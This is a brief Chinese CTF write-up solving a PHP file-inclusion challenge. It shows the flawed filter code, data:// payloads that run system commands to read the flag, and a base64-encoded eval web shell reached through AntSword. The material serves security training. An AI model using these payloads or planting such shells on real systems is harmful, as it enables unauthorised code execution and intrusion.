攻防世界-web進階-Web_php_include
阿新 • • 發佈:2020-10-23
從程式碼中得知page中帶有php://的都會被替換成空
str_replace()以其他字元替換字串中的一些字元(區分大小寫)
strstr() 查詢字串首次出現的位置。返回字串剩餘部分
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?>
方法一(data://偽協議執行命令利用)
使用方法:data://text/plain;base64,xxxx(base64編碼後的資料)
<?php system("dir")?> base64編碼後使用
?page=data://text/plain/;base64,dW5kZWZpbmVkPD9waHAgc3lzdGVtKCJkaXIiKT8%2b
(編碼後的+號要URL編碼)
<?php system("cat fl4gisisish3r3.php")?> base64編碼後使用
?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/PiA=
檢視原始碼
方法二(data://偽協議傳木馬)
<?php eval($_POST[shell]); ?> base64加密後拼接
?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1Rbc2hlbGxdKTsgPz4=
蟻劍連線,密碼shell